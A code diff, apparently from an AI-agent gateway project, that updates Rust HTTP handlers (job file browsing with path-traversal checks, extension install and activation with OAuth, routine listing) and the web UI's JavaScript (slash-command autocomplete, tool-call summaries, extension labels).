) -> Result<Json<ProjectFilesResponse>, (StatusCode, String)> {
|
||||
let store = state.store.as_ref().ok_or((
|
||||
StatusCode::SERVICE_UNAVAILABLE,
|
||||
"Database not available".to_string(),
|
||||
))?;
|
||||
|
||||
let job_id = Uuid::parse_str(&id)
|
||||
.map_err(|_| (StatusCode::BAD_REQUEST, "Invalid job ID".to_string()))?;
|
||||
|
||||
let job = store
|
||||
.get_sandbox_job(job_id)
|
||||
.await
|
||||
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?
|
||||
.ok_or((StatusCode::NOT_FOUND, "Job not found".to_string()))?;
|
||||
|
||||
// Verify user owns this job.
|
||||
if job.user_id != state.user_id {
|
||||
return Err((StatusCode::NOT_FOUND, "Job not found".to_string()));
|
||||
}
|
||||
|
||||
let base = std::path::PathBuf::from(&job.project_dir);
|
||||
let rel_path = query.path.as_deref().unwrap_or("");
|
||||
let target = base.join(rel_path);
|
||||
|
||||
// Path traversal guard.
|
||||
let canonical = target
|
||||
.canonicalize()
|
||||
.map_err(|_| (StatusCode::NOT_FOUND, "Path not found".to_string()))?;
|
||||
let base_canonical = base
|
||||
.canonicalize()
|
||||
.map_err(|_| (StatusCode::NOT_FOUND, "Project dir not found".to_string()))?;
|
||||
if !canonical.starts_with(&base_canonical) {
|
||||
return Err((StatusCode::FORBIDDEN, "Forbidden".to_string()));
|
||||
}
|
||||
|
||||
let mut entries = Vec::new();
|
||||
let mut read_dir = tokio::fs::read_dir(&canonical)
|
||||
.await
|
||||
.map_err(|_| (StatusCode::NOT_FOUND, "Cannot read directory".to_string()))?;
|
||||
|
||||
while let Ok(Some(entry)) = read_dir.next_entry().await {
|
||||
let name = entry.file_name().to_string_lossy().to_string();
|
||||
let is_dir = entry
|
||||
.file_type()
|
||||
.await
|
||||
.map(|ft| ft.is_dir())
|
||||
.unwrap_or(false);
|
||||
let rel = if rel_path.is_empty() {
|
||||
name.clone()
|
||||
} else {
|
||||
format!("{}/{}", rel_path, name)
|
||||
};
|
||||
entries.push(ProjectFileEntry {
|
||||
name,
|
||||
path: rel,
|
||||
is_dir,
|
||||
});
|
||||
}
|
||||
|
||||
entries.sort_by(|a, b| b.is_dir.cmp(&a.is_dir).then_with(|| a.name.cmp(&b.name)));
|
||||
|
||||
Ok(Json(ProjectFilesResponse { entries }))
|
||||
}
|
||||
|
||||
async fn job_files_read_handler(
|
||||
State(state): State<Arc<GatewayState>>,
|
||||
Path(id): Path<String>,
|
||||
Query(query): Query<FilePathQuery>,
|
||||
) -> Result<Json<ProjectFileReadResponse>, (StatusCode, String)> {
|
||||
let store = state.store.as_ref().ok_or((
|
||||
StatusCode::SERVICE_UNAVAILABLE,
|
||||
"Database not available".to_string(),
|
||||
))?;
|
||||
|
||||
let job_id = Uuid::parse_str(&id)
|
||||
.map_err(|_| (StatusCode::BAD_REQUEST, "Invalid job ID".to_string()))?;
|
||||
|
||||
let job = store
|
||||
.get_sandbox_job(job_id)
|
||||
.await
|
||||
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?
|
||||
.ok_or((StatusCode::NOT_FOUND, "Job not found".to_string()))?;
|
||||
|
||||
// Verify user owns this job.
|
||||
if job.user_id != state.user_id {
|
||||
return Err((StatusCode::NOT_FOUND, "Job not found".to_string()));
|
||||
}
|
||||
|
||||
let path = query.path.as_deref().ok_or((
|
||||
StatusCode::BAD_REQUEST,
|
||||
"path parameter required".to_string(),
|
||||
))?;
|
||||
|
||||
let base = std::path::PathBuf::from(&job.project_dir);
|
||||
let file_path = base.join(path);
|
||||
|
||||
let canonical = file_path
|
||||
.canonicalize()
|
||||
.map_err(|_| (StatusCode::NOT_FOUND, "File not found".to_string()))?;
|
||||
let base_canonical = base
|
||||
.canonicalize()
|
||||
.map_err(|_| (StatusCode::NOT_FOUND, "Project dir not found".to_string()))?;
|
||||
if !canonical.starts_with(&base_canonical) {
|
||||
return Err((StatusCode::FORBIDDEN, "Forbidden".to_string()));
|
||||
}
|
||||
|
||||
let content = tokio::fs::read_to_string(&canonical)
|
||||
.await
|
||||
.map_err(|_| (StatusCode::NOT_FOUND, "Cannot read file".to_string()))?;
|
||||
|
||||
Ok(Json(ProjectFileReadResponse {
|
||||
path: path.to_string(),
|
||||
content,
|
||||
}))
|
||||
}
|
||||
|
||||
// Job handlers moved to handlers/jobs.rs
|
||||
// --- Logs handlers ---
|
||||
|
||||
async fn logs_events_handler(
|
||||
@@ -1736,8 +1216,8 @@ async fn extensions_list_handler(
|
||||
} else if !ext.authenticated {
|
||||
// No credentials configured yet.
|
||||
"installed".to_string()
|
||||
} else if ext.active && ext.name == "telegram" {
|
||||
// Telegram: check pairing status (end-to-end setup via web UI).
|
||||
} else if ext.active {
|
||||
// Check pairing status for active channels.
|
||||
let has_paired = pairing_store
|
||||
.read_allow_from(&ext.name)
|
||||
.map(|list| !list.is_empty())
|
||||
@@ -1748,7 +1228,7 @@ async fn extensions_list_handler(
|
||||
"pairing".to_string()
|
||||
}
|
||||
} else {
|
||||
// Authenticated but not fully active (or non-Telegram).
|
||||
// Authenticated but not yet active.
|
||||
"configured".to_string()
|
||||
})
|
||||
} else {
|
||||
@@ -1756,6 +1236,7 @@ async fn extensions_list_handler(
|
||||
};
|
||||
ExtensionInfo {
|
||||
name: ext.name,
|
||||
display_name: ext.display_name,
|
||||
kind: ext.kind.to_string(),
|
||||
description: ext.description,
|
||||
url: ext.url,
|
||||
@@ -1763,6 +1244,7 @@ async fn extensions_list_handler(
|
||||
active: ext.active,
|
||||
tools: ext.tools,
|
||||
needs_setup: ext.needs_setup,
|
||||
has_auth: ext.has_auth,
|
||||
activation_status,
|
||||
activation_error: ext.activation_error,
|
||||
}
|
||||
@@ -1832,7 +1314,37 @@ async fn extensions_install_handler(
|
||||
.install(&req.name, req.url.as_deref(), kind_hint)
|
||||
.await
|
||||
{
|
||||
Ok(result) => Ok(Json(ActionResponse::ok(result.message))),
|
||||
Ok(result) => {
|
||||
let mut resp = ActionResponse::ok(result.message);
|
||||
|
||||
// Auto-activate WASM tools after install (install = active).
|
||||
if result.kind == crate::extensions::ExtensionKind::WasmTool {
|
||||
if let Err(e) = ext_mgr.activate(&req.name).await {
|
||||
tracing::debug!(
|
||||
extension = %req.name,
|
||||
error = %e,
|
||||
"Auto-activation after install failed"
|
||||
);
|
||||
}
|
||||
|
||||
// Check auth after activation. This may initiate OAuth both for scope
|
||||
// expansion and for first-time auth when credentials are already
|
||||
// configured (e.g., built-in providers). We only surface an auth_url
|
||||
// when the extension reports it is awaiting authorization.
|
||||
match ext_mgr.auth(&req.name, None).await {
|
||||
Ok(auth_result)
|
||||
if auth_result.auth_url.is_some()
|
||||
&& auth_result.status == "awaiting_authorization" =>
|
||||
{
|
||||
// Scope expansion or initial OAuth: user needs to authorize
|
||||
resp.auth_url = auth_result.auth_url;
|
||||
}
|
||||
_ => {}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(Json(resp))
|
||||
}
|
||||
Err(e) => Ok(Json(ActionResponse::fail(e.to_string()))),
|
||||
}
|
||||
}
|
||||
@@ -1847,7 +1359,20 @@ async fn extensions_activate_handler(
|
||||
))?;
|
||||
|
||||
match ext_mgr.activate(&name).await {
|
||||
Ok(result) => Ok(Json(ActionResponse::ok(result.message))),
|
||||
Ok(result) => {
|
||||
// Activation loaded the WASM module. Check if the tool needs
|
||||
// OAuth scope expansion (e.g., adding google-docs when gmail
|
||||
// already has a token but missing the documents scope).
|
||||
// Initial OAuth setup is triggered via save_setup_secrets.
|
||||
let mut resp = ActionResponse::ok(result.message);
|
||||
if let Ok(auth_result) = ext_mgr.auth(&name, None).await
|
||||
&& auth_result.auth_url.is_some()
|
||||
&& auth_result.status == "awaiting_authorization"
|
||||
{
|
||||
resp.auth_url = auth_result.auth_url;
|
||||
}
|
||||
Ok(Json(resp))
|
||||
}
|
||||
Err(activate_err) => {
|
||||
let err_str = activate_err.to_string();
|
||||
let needs_auth = err_str.contains("authentication")
|
||||
@@ -1921,11 +1446,7 @@ async fn serve_project_file(project_id: &str, path: &str) -> axum::response::Res
|
||||
return (StatusCode::BAD_REQUEST, "Invalid project ID").into_response();
|
||||
}
|
||||
|
||||
let base = dirs::home_dir()
|
||||
.unwrap_or_else(|| std::path::PathBuf::from("."))
|
||||
.join(".ironclaw")
|
||||
.join("projects")
|
||||
.join(project_id);
|
||||
let base = ironclaw_base_dir().join("projects").join(project_id);
|
||||
|
||||
let file_path = base.join(path);
|
||||
|
||||
@@ -2073,41 +1594,13 @@ async fn extensions_setup_submit_handler(
|
||||
Ok(result) => {
|
||||
let mut resp = ActionResponse::ok(result.message);
|
||||
resp.activated = Some(result.activated);
|
||||
if !result.activated {
|
||||
resp.needs_restart = Some(true);
|
||||
}
|
||||
resp.auth_url = result.auth_url;
|
||||
Ok(Json(resp))
|
||||
}
|
||||
Err(e) => Ok(Json(ActionResponse::fail(e.to_string()))),
|
||||
}
|
||||
}
|
||||
|
||||
// --- Gateway management handlers ---
|
||||
|
||||
async fn gateway_restart_handler(State(state): State<Arc<GatewayState>>) -> Json<ActionResponse> {
|
||||
// Idempotency guard: only allow one restart at a time.
|
||||
if state
|
||||
.restart_requested
|
||||
.compare_exchange(
|
||||
false,
|
||||
true,
|
||||
std::sync::atomic::Ordering::SeqCst,
|
||||
std::sync::atomic::Ordering::SeqCst,
|
||||
)
|
||||
.is_err()
|
||||
{
|
||||
return Json(ActionResponse::ok("Restart already in progress"));
|
||||
}
|
||||
|
||||
// Take the shutdown sender and trigger graceful shutdown.
|
||||
if let Some(tx) = state.shutdown_tx.write().await.take() {
|
||||
let _ = tx.send(());
|
||||
tracing::info!("Gateway restart requested via API");
|
||||
}
|
||||
|
||||
Json(ActionResponse::ok("Restarting..."))
|
||||
}
|
||||
|
||||
// --- Pairing handlers ---
|
||||
|
||||
async fn pairing_list_handler(
|
||||
@@ -2166,7 +1659,7 @@ async fn routines_list_handler(
|
||||
))?;
|
||||
|
||||
let routines = store
|
||||
.list_routines(&state.user_id)
|
||||
.list_all_routines()
|
||||
.await
|
||||
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?;
|
||||
|
||||
@@ -2184,7 +1677,7 @@ async fn routines_summary_handler(
|
||||
))?;
|
||||
|
||||
let routines = store
|
||||
.list_routines(&state.user_id)
|
||||
.list_all_routines()
|
||||
.await
|
||||
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?;
|
||||
|
||||
|
||||
@@ -36,6 +36,23 @@ impl SseManager {
|
||||
}
|
||||
}
|
||||
|
||||
/// Create an SSE manager that reuses an existing broadcast sender.
|
||||
///
|
||||
/// This preserves the broadcast channel across `rebuild_state` calls so
|
||||
/// that sender handles captured by other components remain valid.
|
||||
///
|
||||
/// **Important:** The connection counter is reset to zero. This method must
|
||||
/// only be called before the server starts accepting connections (i.e.,
|
||||
/// during startup wiring). Calling it after connections are established
|
||||
/// will break connection tracking and allow exceeding `MAX_CONNECTIONS`.
|
||||
pub fn from_sender(tx: broadcast::Sender<SseEvent>) -> Self {
|
||||
Self {
|
||||
tx,
|
||||
connection_count: Arc::new(AtomicU64::new(0)),
|
||||
max_connections: MAX_CONNECTIONS,
|
||||
}
|
||||
}
|
||||
|
||||
/// Broadcast an event to all connected clients.
|
||||
pub fn broadcast(&self, event: SseEvent) {
|
||||
// Ignore send errors (no receivers is fine)
|
||||
|
||||
+279
-140
@@ -16,6 +16,31 @@ let pairingPollInterval = null;
|
||||
const JOB_EVENTS_CAP = 500;
|
||||
const MEMORY_SEARCH_QUERY_MAX_LENGTH = 100;
|
||||
|
||||
// --- Slash Commands ---
|
||||
|
||||
const SLASH_COMMANDS = [
|
||||
{ cmd: '/status', desc: 'Show all jobs, or /status <id> for one job' },
|
||||
{ cmd: '/list', desc: 'List all jobs' },
|
||||
{ cmd: '/cancel', desc: '/cancel <job-id> — cancel a running job' },
|
||||
{ cmd: '/undo', desc: 'Revert the last turn' },
|
||||
{ cmd: '/redo', desc: 'Re-apply an undone turn' },
|
||||
{ cmd: '/compact', desc: 'Compress the context window' },
|
||||
{ cmd: '/clear', desc: 'Clear thread and start fresh' },
|
||||
{ cmd: '/interrupt', desc: 'Stop the current turn' },
|
||||
{ cmd: '/heartbeat', desc: 'Trigger manual heartbeat check' },
|
||||
{ cmd: '/summarize', desc: 'Summarize the current thread' },
|
||||
{ cmd: '/suggest', desc: 'Suggest next steps' },
|
||||
{ cmd: '/help', desc: 'Show help' },
|
||||
{ cmd: '/version', desc: 'Show version info' },
|
||||
{ cmd: '/tools', desc: 'List available tools' },
|
||||
{ cmd: '/skills', desc: 'List installed skills' },
|
||||
{ cmd: '/model', desc: 'Show or switch the LLM model' },
|
||||
{ cmd: '/thread new', desc: 'Create a new conversation thread' },
|
||||
];
|
||||
|
||||
let _slashSelected = -1;
|
||||
let _slashMatches = [];
|
||||
|
||||
// --- Tool Activity State ---
|
||||
let _activeGroup = null;
|
||||
let _activeToolCards = {};
|
||||
@@ -135,7 +160,6 @@ function connectSSE() {
|
||||
if (!isCurrentThread(data.thread_id)) return;
|
||||
finalizeActivityGroup();
|
||||
addMessage('assistant', data.content);
|
||||
setStatus('');
|
||||
enableChatInput();
|
||||
// Refresh thread list so new titles appear after first message
|
||||
loadThreads();
|
||||
@@ -175,10 +199,10 @@ function connectSSE() {
|
||||
eventSource.addEventListener('status', (e) => {
|
||||
const data = JSON.parse(e.data);
|
||||
if (!isCurrentThread(data.thread_id)) return;
|
||||
setStatus(data.message);
|
||||
// "Done" and "Awaiting approval" are terminal signals from the agent:
|
||||
// the agentic loop finished, so re-enable input as a safety net in case
|
||||
// the response SSE event is empty or lost.
|
||||
// Status text is not displayed — inline activity cards handle visual feedback.
|
||||
if (data.message === 'Done' || data.message === 'Awaiting approval') {
|
||||
finalizeActivityGroup();
|
||||
enableChatInput();
|
||||
@@ -204,7 +228,13 @@ function connectSSE() {
|
||||
eventSource.addEventListener('auth_completed', (e) => {
|
||||
const data = JSON.parse(e.data);
|
||||
removeAuthCard(data.extension_name);
|
||||
showToast(data.message, 'success');
|
||||
if (data.success) {
|
||||
showToast(data.message, 'success');
|
||||
} else {
|
||||
showToast(data.message, 'error');
|
||||
}
|
||||
// Refresh extensions list so status indicators update
|
||||
if (currentTab === 'extensions') loadExtensions();
|
||||
enableChatInput();
|
||||
});
|
||||
|
||||
@@ -264,10 +294,8 @@ function isCurrentThread(threadId) {
|
||||
|
||||
function sendMessage() {
|
||||
const input = document.getElementById('chat-input');
|
||||
const sendBtn = document.getElementById('send-btn');
|
||||
if (!currentThreadId) {
|
||||
console.warn('sendMessage: no thread selected, ignoring');
|
||||
setStatus('Waiting for thread to load...');
|
||||
return;
|
||||
}
|
||||
const content = input.value.trim();
|
||||
@@ -276,27 +304,82 @@ function sendMessage() {
|
||||
addMessage('user', content);
|
||||
input.value = '';
|
||||
autoResizeTextarea(input);
|
||||
sendBtn.disabled = true;
|
||||
input.disabled = true;
|
||||
input.focus();
|
||||
|
||||
apiFetch('/api/chat/send', {
|
||||
method: 'POST',
|
||||
body: { content, thread_id: currentThreadId || undefined },
|
||||
}).catch((err) => {
|
||||
addMessage('system', 'Failed to send: ' + err.message);
|
||||
setStatus('');
|
||||
enableChatInput();
|
||||
});
|
||||
}
|
||||
|
||||
function enableChatInput() {
|
||||
// Don't re-enable until a thread is selected (prevents orphan messages)
|
||||
if (!currentThreadId) return;
|
||||
// no-op: input and send button are always enabled
|
||||
}
|
||||
|
||||
// --- Slash Autocomplete ---
|
||||
|
||||
function showSlashAutocomplete(matches) {
|
||||
const el = document.getElementById('slash-autocomplete');
|
||||
if (!el || matches.length === 0) { hideSlashAutocomplete(); return; }
|
||||
_slashMatches = matches;
|
||||
_slashSelected = -1;
|
||||
el.innerHTML = '';
|
||||
matches.forEach((item, i) => {
|
||||
const row = document.createElement('div');
|
||||
row.className = 'slash-ac-item';
|
||||
row.dataset.index = i;
|
||||
var cmdSpan = document.createElement('span');
|
||||
cmdSpan.className = 'slash-ac-cmd';
|
||||
cmdSpan.textContent = item.cmd;
|
||||
var descSpan = document.createElement('span');
|
||||
descSpan.className = 'slash-ac-desc';
|
||||
descSpan.textContent = item.desc;
|
||||
row.appendChild(cmdSpan);
|
||||
row.appendChild(descSpan);
|
||||
row.addEventListener('mousedown', (e) => {
|
||||
e.preventDefault(); // prevent blur
|
||||
selectSlashItem(item.cmd);
|
||||
});
|
||||
el.appendChild(row);
|
||||
});
|
||||
el.style.display = 'block';
|
||||
}
|
||||
|
||||
function hideSlashAutocomplete() {
|
||||
const el = document.getElementById('slash-autocomplete');
|
||||
if (el) el.style.display = 'none';
|
||||
_slashSelected = -1;
|
||||
_slashMatches = [];
|
||||
}
|
||||
|
||||
function selectSlashItem(cmd) {
|
||||
const input = document.getElementById('chat-input');
|
||||
const sendBtn = document.getElementById('send-btn');
|
||||
sendBtn.disabled = false;
|
||||
input.disabled = false;
|
||||
input.value = cmd + ' ';
|
||||
input.focus();
|
||||
hideSlashAutocomplete();
|
||||
autoResizeTextarea(input);
|
||||
}
|
||||
|
||||
function updateSlashHighlight() {
|
||||
const items = document.querySelectorAll('#slash-autocomplete .slash-ac-item');
|
||||
items.forEach((el, i) => el.classList.toggle('selected', i === _slashSelected));
|
||||
if (_slashSelected >= 0 && items[_slashSelected]) {
|
||||
items[_slashSelected].scrollIntoView({ block: 'nearest' });
|
||||
}
|
||||
}
|
||||
|
||||
function filterSlashCommands(value) {
|
||||
if (!value.startsWith('/')) { hideSlashAutocomplete(); return; }
|
||||
// Only show autocomplete when the input is just a slash command prefix (no spaces except /thread new)
|
||||
const lower = value.toLowerCase();
|
||||
const matches = SLASH_COMMANDS.filter((c) => c.cmd.startsWith(lower));
|
||||
if (matches.length === 0 || (matches.length === 1 && matches[0].cmd === lower.trimEnd())) {
|
||||
hideSlashAutocomplete();
|
||||
} else {
|
||||
showSlashAutocomplete(matches);
|
||||
}
|
||||
}
|
||||
|
||||
function sendApprovalAction(requestId, action) {
|
||||
@@ -320,6 +403,8 @@ function sendApprovalAction(requestId, action) {
|
||||
const labelText = action === 'approve' ? 'Approved' : action === 'always' ? 'Always approved' : 'Denied';
|
||||
label.textContent = labelText;
|
||||
actions.appendChild(label);
|
||||
// Remove the card after showing the confirmation briefly
|
||||
setTimeout(() => { card.remove(); }, 1500);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -395,15 +480,6 @@ function appendToLastAssistant(chunk) {
|
||||
}
|
||||
}
|
||||
|
||||
function setStatus(text) {
|
||||
const el = document.getElementById('chat-status');
|
||||
if (!text) {
|
||||
el.innerHTML = '';
|
||||
return;
|
||||
}
|
||||
el.innerHTML = escapeHtml(text);
|
||||
}
|
||||
|
||||
// --- Inline Tool Activity Cards ---
|
||||
|
||||
function getOrCreateActivityGroup() {
|
||||
@@ -907,10 +983,22 @@ function loadHistory(before) {
|
||||
container.innerHTML = '';
|
||||
for (const turn of data.turns) {
|
||||
addMessage('user', turn.user_input);
|
||||
if (turn.tool_calls && turn.tool_calls.length > 0) {
|
||||
addToolCallsSummary(turn.tool_calls);
|
||||
}
|
||||
if (turn.response) {
|
||||
addMessage('assistant', turn.response);
|
||||
}
|
||||
}
|
||||
// Show processing indicator if the last turn is still in-progress
|
||||
var lastTurn = data.turns.length > 0 ? data.turns[data.turns.length - 1] : null;
|
||||
if (lastTurn && !lastTurn.response && lastTurn.state === 'Processing') {
|
||||
showActivityThinking('Processing...');
|
||||
}
|
||||
// Re-render pending approval card if the thread is awaiting approval
|
||||
if (data.pending_approval) {
|
||||
showApproval(data.pending_approval);
|
||||
}
|
||||
} else {
|
||||
// Pagination: prepend older messages
|
||||
const savedHeight = container.scrollHeight;
|
||||
@@ -918,6 +1006,9 @@ function loadHistory(before) {
|
||||
for (const turn of data.turns) {
|
||||
const userDiv = createMessageElement('user', turn.user_input);
|
||||
fragment.appendChild(userDiv);
|
||||
if (turn.tool_calls && turn.tool_calls.length > 0) {
|
||||
fragment.appendChild(createToolCallsSummaryElement(turn.tool_calls));
|
||||
}
|
||||
if (turn.response) {
|
||||
const assistantDiv = createMessageElement('assistant', turn.response);
|
||||
fragment.appendChild(assistantDiv);
|
||||
@@ -951,6 +1042,61 @@ function createMessageElement(role, content) {
|
||||
return div;
|
||||
}
|
||||
|
||||
function addToolCallsSummary(toolCalls) {
|
||||
const container = document.getElementById('chat-messages');
|
||||
container.appendChild(createToolCallsSummaryElement(toolCalls));
|
||||
container.scrollTop = container.scrollHeight;
|
||||
}
|
||||
|
||||
function createToolCallsSummaryElement(toolCalls) {
|
||||
const div = document.createElement('div');
|
||||
div.className = 'tool-calls-summary';
|
||||
|
||||
const header = document.createElement('div');
|
||||
header.className = 'tool-calls-header';
|
||||
header.textContent = toolCalls.length + ' tool' + (toolCalls.length !== 1 ? 's' : '') + ' used';
|
||||
div.appendChild(header);
|
||||
|
||||
const list = document.createElement('div');
|
||||
list.className = 'tool-calls-list';
|
||||
|
||||
for (const tc of toolCalls) {
|
||||
const item = document.createElement('div');
|
||||
item.className = 'tool-call-item' + (tc.has_error ? ' tool-error' : '');
|
||||
|
||||
const icon = tc.has_error ? '\u2717' : '\u2713';
|
||||
const nameSpan = document.createElement('span');
|
||||
nameSpan.className = 'tool-call-name';
|
||||
nameSpan.textContent = icon + ' ' + tc.name;
|
||||
item.appendChild(nameSpan);
|
||||
|
||||
if (tc.result_preview) {
|
||||
const preview = document.createElement('div');
|
||||
preview.className = 'tool-call-preview';
|
||||
preview.textContent = tc.result_preview;
|
||||
item.appendChild(preview);
|
||||
}
|
||||
if (tc.error) {
|
||||
const errDiv = document.createElement('div');
|
||||
errDiv.className = 'tool-call-error-text';
|
||||
errDiv.textContent = tc.error;
|
||||
item.appendChild(errDiv);
|
||||
}
|
||||
|
||||
list.appendChild(item);
|
||||
}
|
||||
|
||||
div.appendChild(list);
|
||||
|
||||
header.style.cursor = 'pointer';
|
||||
header.addEventListener('click', () => {
|
||||
list.classList.toggle('expanded');
|
||||
header.classList.toggle('expanded');
|
||||
});
|
||||
|
||||
return div;
|
||||
}
|
||||
|
||||
function removeScrollSpinner() {
|
||||
const spinner = document.getElementById('scroll-load-spinner');
|
||||
if (spinner) spinner.remove();
|
||||
@@ -1026,7 +1172,6 @@ function createNewThread() {
|
||||
apiFetch('/api/chat/thread/new', { method: 'POST' }).then((data) => {
|
||||
currentThreadId = data.id || null;
|
||||
document.getElementById('chat-messages').innerHTML = '';
|
||||
setStatus('');
|
||||
loadThreads();
|
||||
}).catch((err) => {
|
||||
showToast('Failed to create thread: ' + err.message, 'error');
|
||||
@@ -1043,16 +1188,50 @@ function toggleThreadSidebar() {
|
||||
// Chat input auto-resize and keyboard handling
|
||||
const chatInput = document.getElementById('chat-input');
|
||||
chatInput.addEventListener('keydown', (e) => {
|
||||
const acEl = document.getElementById('slash-autocomplete');
|
||||
const acVisible = acEl && acEl.style.display !== 'none';
|
||||
|
||||
if (acVisible) {
|
||||
const items = acEl.querySelectorAll('.slash-ac-item');
|
||||
if (e.key === 'ArrowDown') {
|
||||
e.preventDefault();
|
||||
_slashSelected = Math.min(_slashSelected + 1, items.length - 1);
|
||||
updateSlashHighlight();
|
||||
return;
|
||||
}
|
||||
if (e.key === 'ArrowUp') {
|
||||
e.preventDefault();
|
||||
_slashSelected = Math.max(_slashSelected - 1, -1);
|
||||
updateSlashHighlight();
|
||||
return;
|
||||
}
|
||||
if (e.key === 'Tab' || e.key === 'Enter') {
|
||||
e.preventDefault();
|
||||
const pick = _slashSelected >= 0 ? _slashMatches[_slashSelected] : _slashMatches[0];
|
||||
if (pick) selectSlashItem(pick.cmd);
|
||||
return;
|
||||
}
|
||||
if (e.key === 'Escape') {
|
||||
e.preventDefault();
|
||||
hideSlashAutocomplete();
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
if (e.key === 'Enter' && !e.shiftKey) {
|
||||
e.preventDefault();
|
||||
hideSlashAutocomplete();
|
||||
sendMessage();
|
||||
}
|
||||
});
|
||||
chatInput.addEventListener('input', () => autoResizeTextarea(chatInput));
|
||||
|
||||
// Disable send until a thread is selected (loadThreads will enable it)
|
||||
chatInput.disabled = true;
|
||||
document.getElementById('send-btn').disabled = true;
|
||||
chatInput.addEventListener('input', () => {
|
||||
autoResizeTextarea(chatInput);
|
||||
filterSlashCommands(chatInput.value);
|
||||
});
|
||||
chatInput.addEventListener('blur', () => {
|
||||
// Small delay so mousedown on autocomplete item fires first
|
||||
setTimeout(hideSlashAutocomplete, 150);
|
||||
});
|
||||
|
||||
// Infinite scroll: load older messages when scrolled near the top
|
||||
document.getElementById('chat-messages').addEventListener('scroll', function () {
|
||||
@@ -1283,7 +1462,9 @@ function buildBreadcrumb(path) {
|
||||
let current = '';
|
||||
for (const part of parts) {
|
||||
current += (current ? '/' : '') + part;
|
||||
html += ' / <a onclick="readMemoryFile(\'' + escapeHtml(current) + '\')">' + escapeHtml(part) + '</a>';
|
||||
// Store the path in data-path (HTML-escaped) and read it back via this.dataset.path
|
||||
// to avoid single-quote injection in inline JS string literals.
|
||||
html += ' / <a onclick="readMemoryFile(this.dataset.path)" data-path="' + escapeHtml(current) + '">' + escapeHtml(part) + '</a>';
|
||||
}
|
||||
return html;
|
||||
}
|
||||
@@ -1458,10 +1639,8 @@ function applyLogFilters() {
|
||||
function setServerLogLevel(level) {
|
||||
apiFetch('/api/logs/level', {
|
||||
method: 'PUT',
|
||||
headers: { 'Content-Type': 'application/json' },
|
||||
body: JSON.stringify({ level: level }),
|
||||
body: { level },
|
||||
})
|
||||
.then(r => r.json())
|
||||
.then(data => {
|
||||
document.getElementById('logs-server-level').value = data.level;
|
||||
})
|
||||
@@ -1470,7 +1649,6 @@ function setServerLogLevel(level) {
|
||||
|
||||
function loadServerLogLevel() {
|
||||
apiFetch('/api/logs/level')
|
||||
.then(r => r.json())
|
||||
.then(data => {
|
||||
document.getElementById('logs-server-level').value = data.level;
|
||||
})
|
||||
@@ -1479,6 +1657,8 @@ function loadServerLogLevel() {
|
||||
|
||||
// --- Extensions ---
|
||||
|
||||
var kindLabels = { 'wasm_channel': 'Channel', 'wasm_tool': 'Tool', 'mcp_server': 'MCP' };
|
||||
|
||||
function loadExtensions() {
|
||||
const extList = document.getElementById('extensions-list');
|
||||
const wasmList = document.getElementById('available-wasm-list');
|
||||
@@ -1554,7 +1734,7 @@ function renderAvailableExtensionCard(entry) {
|
||||
|
||||
const kind = document.createElement('span');
|
||||
kind.className = 'ext-kind kind-' + entry.kind;
|
||||
kind.textContent = entry.kind;
|
||||
kind.textContent = kindLabels[entry.kind] || entry.kind;
|
||||
header.appendChild(kind);
|
||||
|
||||
card.appendChild(header);
|
||||
@@ -1586,6 +1766,11 @@ function renderAvailableExtensionCard(entry) {
|
||||
}).then(function(res) {
|
||||
if (res.success) {
|
||||
showToast('Installed ' + entry.display_name, 'success');
|
||||
// OAuth popup if auth started during install (builtin creds)
|
||||
if (res.auth_url) {
|
||||
showToast('Opening authentication for ' + entry.display_name, 'info');
|
||||
window.open(res.auth_url, '_blank', 'width=600,height=700');
|
||||
}
|
||||
loadExtensions();
|
||||
// Auto-open configure for WASM channels
|
||||
if (entry.kind === 'wasm_channel') {
|
||||
@@ -1620,7 +1805,7 @@ function renderMcpServerCard(entry, installedExt) {
|
||||
|
||||
var kind = document.createElement('span');
|
||||
kind.className = 'ext-kind kind-mcp_server';
|
||||
kind.textContent = 'mcp_server';
|
||||
kind.textContent = kindLabels['mcp_server'] || 'mcp_server';
|
||||
header.appendChild(kind);
|
||||
|
||||
if (installedExt) {
|
||||
@@ -1704,12 +1889,12 @@ function renderExtensionCard(ext) {
|
||||
|
||||
const name = document.createElement('span');
|
||||
name.className = 'ext-name';
|
||||
name.textContent = ext.name;
|
||||
name.textContent = ext.display_name || ext.name;
|
||||
header.appendChild(name);
|
||||
|
||||
const kind = document.createElement('span');
|
||||
kind.className = 'ext-kind kind-' + ext.kind;
|
||||
kind.textContent = ext.kind;
|
||||
kind.textContent = kindLabels[ext.kind] || ext.kind;
|
||||
header.appendChild(kind);
|
||||
|
||||
// Auth dot only for non-WASM-channel extensions (channels use the stepper instead)
|
||||
@@ -1757,14 +1942,6 @@ function renderExtensionCard(ext) {
|
||||
card.appendChild(errorDiv);
|
||||
}
|
||||
|
||||
// Show "coming soon" note for non-Telegram channels that are configured but not fully supported yet
|
||||
if (ext.kind === 'wasm_channel' && ext.name !== 'telegram'
|
||||
&& (ext.activation_status === 'configured' || ext.active)) {
|
||||
const noteDiv = document.createElement('div');
|
||||
noteDiv.className = 'ext-note';
|
||||
noteDiv.textContent = 'Full integration coming soon. Use the CLI to complete setup.';
|
||||
card.appendChild(noteDiv);
|
||||
}
|
||||
|
||||
const actions = document.createElement('div');
|
||||
actions.className = 'ext-actions';
|
||||
@@ -1785,11 +1962,6 @@ function renderExtensionCard(ext) {
|
||||
actions.appendChild(pairingLabel);
|
||||
actions.appendChild(createReconfigureButton(ext.name));
|
||||
} else if (status === 'failed') {
|
||||
var restartBtn = document.createElement('button');
|
||||
restartBtn.className = 'btn-ext activate';
|
||||
restartBtn.textContent = 'Restart';
|
||||
restartBtn.addEventListener('click', restartGateway);
|
||||
actions.appendChild(restartBtn);
|
||||
actions.appendChild(createReconfigureButton(ext.name));
|
||||
} else {
|
||||
// installed or configured: show Setup button
|
||||
@@ -1800,21 +1972,22 @@ function renderExtensionCard(ext) {
|
||||
actions.appendChild(setupBtn);
|
||||
}
|
||||
} else {
|
||||
// Non-WASM-channel extensions: original behavior
|
||||
if (!ext.active) {
|
||||
// WASM tools / MCP servers
|
||||
const activeLabel = document.createElement('span');
|
||||
activeLabel.className = 'ext-active-label';
|
||||
